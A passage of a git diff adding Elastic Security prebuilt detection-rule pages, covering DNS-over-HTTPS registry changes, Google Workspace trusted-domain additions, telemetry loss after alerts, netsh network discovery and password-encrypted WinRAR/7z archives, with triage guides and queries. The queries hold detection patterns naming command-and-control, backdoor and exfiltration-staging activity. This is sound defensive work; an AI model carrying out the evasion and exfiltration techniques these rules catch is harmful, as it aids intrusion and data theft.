Review the registry path and data values from the alert to determine which browser and setting were modified. Check if the change aligns with known user activity or policy. +- Investigate the user account associated with the registry change to assess if the activity is expected or if the account has a history of suspicious behavior. +- Examine recent network traffic from the host to identify any unusual or unauthorized DNS queries that could indicate data exfiltration or other malicious activities. +- Check for any other recent registry changes or system modifications on the host that might suggest further attempts at defense evasion or persistence. +- Correlate the alert with other security events or logs from the same host or user to identify patterns or additional indicators of compromise. + + +*False positive analysis* + + +- Legitimate software updates or installations may enable DNS-over-HTTPS settings in browsers. Monitor software update schedules and correlate registry changes with known update events to identify benign changes. +- Organizational policies might require DNS-over-HTTPS for privacy compliance. Document these policies and create exceptions in the detection rule for systems where this is a known requirement. +- User-initiated privacy settings changes can trigger the rule. Educate users on the implications of enabling DNS-over-HTTPS and establish a process for them to report intentional changes, allowing for exclusion of these events. +- Security tools or privacy-focused applications may enable DNS-over-HTTPS as part of their functionality. Identify these tools within the organization and adjust the detection rule to exclude registry changes associated with their operation. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential data exfiltration or further malicious activity. +- Review and revert any unauthorized registry changes related to DNS-over-HTTPS settings in Edge, Chrome, and Firefox to restore standard DNS monitoring capabilities. +- Conduct a thorough scan of the affected system using updated antivirus and endpoint detection tools to identify and remove any malicious software or scripts. +- Analyze network traffic logs to identify any unusual or unauthorized DNS queries or data transfers that may have occurred during the period of DoH activation. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring for registry changes related to DNS settings across the organization to detect similar threats in the future. +- Review and update security policies to ensure that DNS-over-HTTPS is only enabled through approved channels and for legitimate purposes, reducing the risk of misuse. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + (registry.path : "*\\SOFTWARE\\Policies\\Microsoft\\Edge\\BuiltInDnsClientEnabled" and + registry.data.strings : ("1", "0x00000001")) or + (registry.path : "*\\SOFTWARE\\Google\\Chrome\\DnsOverHttpsMode" and + registry.data.strings : "secure") or + (registry.path : "*\\SOFTWARE\\Policies\\Mozilla\\Firefox\\DNSOverHTTPS" and + registry.data.strings : ("1", "0x00000001")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-domain-added-to-google-workspace-trusted-domains.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-domain-added-to-google-workspace-trusted-domains.asciidoc new file mode 100644 index 0000000000..20d5ea5f17 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-domain-added-to-google-workspace-trusted-domains.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-21-domain-added-to-google-workspace-trusted-domains]] +=== Domain Added to Google Workspace Trusted Domains + +Detects when a domain is added to the list of trusted Google Workspace domains. An adversary may add a trusted domain in order to collect and exfiltrate data from their target’s organization with less restrictive security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/6160020?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Domain Added to Google Workspace Trusted Domains* + + +Organizations use trusted domains in Google Workspace to give external users access to resources. + +A threat actor with administrative privileges may be able to add a malicious domain to the trusted domain list. Based on the configuration, potentially sensitive resources may be exposed or accessible by an unintended third-party. + +This rule detects when a third-party domain is added to the list of trusted domains in Google Workspace. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. +- After identifying the user, verify if the user should have administrative privileges to add external domains. +- Check the `google_workspace.admin.domain.name` field to find the newly added domain. +- Use reputational services, such as VirusTotal, for the trusted domain's third-party intelligence reputation. +- Filter your data. Create a filter where `event.dataset` is `google_workspace.drive` and `google_workspace.drive.file.owner.email` is being compared to `user.email`. + - If mismatches are identified, this could indicate access from an external Google Workspace domain. + + +*False positive analysis* + + +- Verify that the user account should have administrative privileges that allow them to edit trusted domains in Google Workspace. +- Talk to the user to evaluate why they added the third-party domain and if the domain has confidentiality risks. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin and event.provider:admin and event.category:iam and event.action:ADD_TRUSTED_DOMAINS + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-elastic-defend-alert-followed-by-telemetry-loss.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-elastic-defend-alert-followed-by-telemetry-loss.asciidoc new file mode 100644 index 0000000000..67d4ffccda --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-elastic-defend-alert-followed-by-telemetry-loss.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-21-elastic-defend-alert-followed-by-telemetry-loss]] +=== Elastic Defend Alert Followed by Telemetry Loss + +Detects when an Elastic Defend endpoint alert is generated on a host and is not followed by any subsequent endpoint telemetry (process, network, registry, library, or DNS events) within a short time window. This behavior may indicate endpoint security evasion, agent tampering, sensor disablement, service termination, system crash, or malicious interference with telemetry collection following detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1562/001/ + +*Tags*: + +* Domain: Endpoint +* Data Source: Elastic Defend +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Elastic Defend Alert Followed by Telemetry Loss* + + +This rule identifies situations where an Elastic Defend alert is generated on a host and is not followed by +any normal endpoint activity events within a short time window. This may indicate agent tampering, sensor +disablement, host shutdown, system crash, or defense evasion behavior. + + +*Possible investigation steps* + + +- Review the original `endpoint.alert` event and identify the detection that triggered the alert. +- Check the host’s online status, uptime, and reboot history. +- Verify the health and status of the Elastic Defend agent and related services. +- Look for evidence of agent tampering, service stops, or security control modifications. +- Correlate with activity immediately preceding the alert for signs of exploitation or evasion. +- Determine if similar alert → silence patterns are occurring on other hosts. + + +*False positive analysis* + + +- Legitimate system reboots or shutdowns +- Network connectivity loss +- Elastic Agent upgrades or restarts +- Endpoint service crashes +- Maintenance or IT operations + + +*Response and remediation* + + +- Validate host and agent availability. +- Reconnect or re-enroll the agent if telemetry is missing. +- Isolate the host if malicious activity is suspected. +- Investigate for security control tampering. +- Perform broader environment hunting for similar patterns. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=5m + [any where data_stream.dataset == "endpoint.alerts"] + ![any where event.category in ("process", "library", "registry", "network", "dns", "file")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-elastic-defend-and-email-alerts-correlation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-elastic-defend-and-email-alerts-correlation.asciidoc new file mode 100644 index 0000000000..690029c664 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-elastic-defend-and-email-alerts-correlation.asciidoc @@ -0,0 +1,111 @@ +[[prebuilt-rule-8-19-21-elastic-defend-and-email-alerts-correlation]] +=== Elastic Defend and Email Alerts Correlation + +This rule correlates any Elastic Defend alert with an email security related alert by target user name. This may indicate the successful execution of a phishing attack. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 45m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Check Point Harmony Email & Collaboration +* Domain: Email +* Domain: Endpoint + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +*Investigating Elastic Defend and Email Alerts Correlation* + + +This rule correlates any Elastic Defend alert with an email security related alert by target user name. + + +*Possible investigation steps* + +- Review the alert details to identify the specific host and users involved. +- Investigate the individual alerts for the target user name and see if they are related. +- Review all emails received from Esql.source_user_name and if there are other impacted users. +- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context. +- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity. + + +*False positive analysis* + +- Legitimate email marked as suspicious. +- Legitimate file or behavior marked as suspicious by Elastic Defend. +- Unrelated alerts where the target user name is too generic. + + +*Response and remediation* + +- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary. +- Conduct a thorough forensic analysis of the host. +- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated. +- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise. +- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns. +- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.alerts-*, logs-checkpoint_email.event-* metadata _id +// Email or Elastic Defend alerts where user name is populated +| where + (event.category == "email" and event.kind == "alert" and destination.user.name is not null) or + (event.module == "endpoint" and data_stream.dataset == "endpoint.alerts" and user.name is not null) + +// extract target user name from email and endpoint alerts +| eval email_alert_target_user_name = CASE(event.category == "email", destination.user.name, null), + elastic_defend_alert_user_name = CASE(event.module == "endpoint" and data_stream.dataset == "endpoint.alerts", user.name, null) +| eval Esql.target_user_name = COALESCE(email_alert_target_user_name, elastic_defend_alert_user_name) +| where Esql.target_user_name is not null + +// group by Esql.target_user_name +| stats Esql.alerts_count = COUNT(*), + Esql.event_module_distinct_count = COUNT_DISTINCT(event.module), + Esql.event_module_values = VALUES(event.module), + Esql.message_values = VALUES(message), + Esql.event_action_values = VALUES(event.action), + Esql.process_executable_values = VALUES(process.executable), + Esql.host_id_values = VALUES(host.id), + Esql.source_user_name = VALUES(source.user.name), + Esql.rule_name_values = VALUES(rule.name) + by Esql.target_user_name +// alert when same user is observed in an endpoint and email alert +| where Esql.event_module_distinct_count >= 2 +| keep Esql.alerts_count, Esql.event_module_values, Esql.host_id_values, Esql.source_user_name, Esql.target_user_name, Esql.message_values, Esql.rule_name_values, Esql.event_action_values + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-elastic-defend-and-network-security-alerts-correlation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-elastic-defend-and-network-security-alerts-correlation.asciidoc new file mode 100644 index 0000000000..e25307a83a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-elastic-defend-and-network-security-alerts-correlation.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-21-elastic-defend-and-network-security-alerts-correlation]] +=== Elastic Defend and Network Security Alerts Correlation + +This rule correlate any Elastic Defend alert with a set of suspicious events from Network security devices like Palo Alto Networks (PANW) and Fortinet Fortigate by host.ip and source.ip. This may indicate that this host is compromised and triggering multi-datasource alerts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Fortinet +* Data Source: PAN-OS + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Elastic Defend and Network Security Alerts Correlation* + + +This rule correlate any Elastic Defend alert with suspicious events from Network Security datasources like Palo Alto Networks (PANW), Fortinet Fortigate and Suricata by host.ip and source.ip. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host and users involved. +- Investiguate the network alerts by destination.ip and message. +- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used. +- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context. +- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network. +- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity. + + +*False positive analysis* + + +- IP address ranges overlap where the host.ip value from the Elastic Defend alert is unrelated to the source.ip value from the Network Security alert. +- Alerts from routine administrative tasks may trigger multiple alerts. Review and exclude known benign activities such as scheduled software updates or system maintenance. +- Security tools running on the host might generate alerts across different tactics. Identify and exclude alerts from trusted security applications to reduce noise. +- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening. +- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score. +- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary. +- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved. +- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated. +- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks. +- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise. +- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns. +- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign. + +==== Setup + + + +*Setup* + + +This rule requires the `host.ip` field to be populated. +For **Elastic Defend** events on versions **8.18 and above**, this field is **disabled by default**. + +If you are using **Elastic Defend**, ensure host IP collection is enabled by following the configuration steps in the +https://www.elastic.co/docs/solutions/security/configure-elastic-defend/configure-data-volume-for-elastic-endpoint#host-fields[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-* metadata _id +| WHERE + // Elastic Defend Alerts + (event.module == "endpoint" and data_stream.dataset == "endpoint.alerts") or + + // PANW suspicious events + (data_stream.dataset == "panw.panos" and + event.action in ("virus_detected", "wildfire_virus_detected", "c2_communication", "spyware_detected", "large_upload", "denied", "exploit_detected")) or + + // Fortigate suspicious events + (data_stream.dataset == "fortinet_fortigate.log" and + (event.action in ("outbreak-prevention", "infected", "blocked") or message like "backdoor*" or message like "Proxy*" or message like "anomaly*" or message like "P2P*" or message like "misc*" or message like "DNS.Over.HTTPS" or message like "Remote.Access")) or + + // Suricata + (data_stream.dataset == "suricata.eve" and message in ("Command and Control Traffic", "Potentially Bad Traffic", "A Network Trojan was detected", "Detection of a Network Scan", "Domain Observed Used for C2 Detected", "Malware Command and Control Activity Detected")) + +// extract source.ip from PANW or Fortigate events and host.ip from Elastic Defend alert +|eval fw_alert_source_ip = CASE(data_stream.dataset in ("panw.panos", "fortinet_fortigate.log"), source.ip, null), + elastic_defend_alert_host_ip = CASE(event.module == "endpoint" and data_stream.dataset == "endpoint.alerts", host.ip, null) +| eval Esql.source_ip = COALESCE(fw_alert_source_ip, elastic_defend_alert_host_ip) +| where Esql.source_ip is not null + +// group by host_source_ip shared between FG/PANW and Elastic Defend +| stats Esql.alerts_count = COUNT(*), + Esql.event_module_distinct_count = COUNT_DISTINCT(event.module), + Esql.message_values_distinct_count = COUNT_DISTINCT(message), + Esql.event_module_values = VALUES(event.module), + Esql.message_values = VALUES(message), + Esql.event_action_values = VALUES(event.action), + Esql.process_executable_values = VALUES(process.executable), + Esql.process_hash_sha256_values = VALUES(process.hash.sha256), + Esql.process_cmdline_values = VALUES(process.command_line), + Esql.file_path_values = VALUES(file.path), + Esql.file_hash_sha256_values = VALUES(file.hash.sha256), + Esql.host_id_values = VALUES(host.id), + Esql.user_name_values = VALUES(user.name), + Esql.destination_ip_values = VALUES(destination.ip) + by Esql.source_ip +| where Esql.event_module_distinct_count >= 2 AND Esql.message_values_distinct_count >= 2 +| eval concat_module_values = MV_CONCAT(Esql.event_module_values, ",") +// Make sure an endpoint alert is present along one of the network ones +| where concat_module_values like "*endpoint*" + +// Move single values to their corresponding ECS fields for alerts exclusion +| eval source.ip = mv_min(Esql.source_ip), + host.id = mv_min(Esql.host_id_values), + user.name = mv_min(Esql.user_name_values) + +| keep source.ip, host.id, user.name, Esql.* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-enable-host-network-discovery-via-netsh.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-enable-host-network-discovery-via-netsh.asciidoc new file mode 100644 index 0000000000..bf8aadd73f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-enable-host-network-discovery-via-netsh.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-21-enable-host-network-discovery-via-netsh]] +=== Enable Host Network Discovery via Netsh + +Identifies use of the netsh.exe program to enable host discovery via the network. Attackers can use this command-line tool to weaken the host firewall settings. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Enable Host Network Discovery via Netsh* + + +The Windows Defender Firewall is a native component that provides host-based, two-way network traffic filtering for a device and blocks unauthorized network traffic flowing into or out of the local device. + +Attackers can enable Network Discovery on the Windows firewall to find other systems present in the same network. Systems with this setting enabled will communicate with other systems using broadcast messages, which can be used to identify targets for lateral movement. This rule looks for the setup of this setting using the netsh utility. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the Administrator is aware of the activity and there are justifications for this configuration. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Disable Network Discovery: + - Using netsh: `netsh advfirewall firewall set rule group="Network Discovery" new enable=No` +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +process.name : "netsh.exe" and +process.args : ("firewall", "advfirewall") and process.args : "group=Network Discovery" and process.args : "enable=Yes" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify System Firewall +** ID: T1562.004 +** Reference URL: https://attack.mitre.org/techniques/T1562/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-encrypting-files-with-winrar-or-7z.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-encrypting-files-with-winrar-or-7z.asciidoc new file mode 100644 index 0000000000..4b1c0c1ae6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-encrypting-files-with-winrar-or-7z.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-21-encrypting-files-with-winrar-or-7z]] +=== Encrypting Files with WinRar or 7z + +Identifies the use of WinRAR or 7-Zip to create encrypted archives. Adversaries often compress and encrypt data in preparation for exfiltration. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/ +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Encrypting Files with WinRar or 7z* + + +Attackers may compress and/or encrypt data collected before exfiltration. Compressing data can help stage and obfuscate content and may reduce the amount of data sent over the network. Encryption can be used to hide the contents of the archive and make the activity less apparent during review. + +These steps are often performed in preparation for exfiltration, meaning the intrusion may be in its later stages. + + +*Possible investigation steps* + + +- Review the process ancestry (parent process tree) for the archiving command. Identify what launched WinRAR/7-Zip and whether the parent is expected in your environment. +- Validate the executable: check file path, signature, hash prevalence, and whether the binary is the expected vendor build. +- Identify the archive output location and name. Look for staging locations (e.g., user profile temp directories, public folders, removable media paths) and unusual naming patterns. +- Retrieve the created archive if policy allows. Determine whether the contents are sensitive or business-critical. +- Check whether the encryption password is present in the command line. If present, treat as high confidence data staging. +- If the password is not available and the archive format is `.zip` (or WinRAR is not using the `-hp` option), enumerate filenames within the archive to understand what was staged. +- Review other alerts and related activity for the same host/user over the last 48 hours (credential access, discovery, lateral movement, and outbound transfers). +- Investigate whether the archive was transferred off-host (e.g., browser uploads, cloud sync clients, RMM tools, SMB to unusual destinations, or other outbound network activity). + + +*False positive analysis* + + +- Backup, packaging, and software distribution workflows may legitimately create password-protected archives. +- IT administrators and automation may use WinRAR/7-Zip for log collection, incident response packaging, or data transfer. +- Validate the parent process and context using `process.parent.executable` and `process.parent.command_line`, and confirm whether the archive destination and file set match an expected workflow. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Prioritize cases that involve personally identifiable information (PII) or other classified data. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +( + ( + ( + process.name : ("rar.exe", "WinRAR.exe") or ?process.code_signature.subject_name == "win.rar GmbH" or + ?process.pe.original_file_name == "WinRAR.exe" + ) and + process.args == "a" and process.args : ("-hp*", "-p*", "/hp*", "/p*") + ) or + ( + (process.name : ("7z.exe", "7za.exe") or ?process.pe.original_file_name in ("7z.exe", "7za.exe")) and + process.args == "a" and process.args : "-p*" + ) +) and + not process.parent.executable : ( + "C:\\Program Files\\*.exe", + "C:\\Program Files (x86)\\*.exe", + "?:\\ManageEngine\\*\\jre\\bin\\java.exe", + "?:\\Nox\\bin\\Nox.exe", + "\\Device\\HarddiskVolume?\\Program Files\\*.exe", + "\\Device\\HarddiskVolume?\\Program Files (x86)\\*.exe", + "\\Device\\HarddiskVolume?\\ManageEngine\\*\\jre\\bin\\java.exe", + "\\Device\\HarddiskVolume?\\Nox\\bin\\Nox.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Technique: +** Name: Archive Collected Data +** ID: T1560 +** Reference URL: 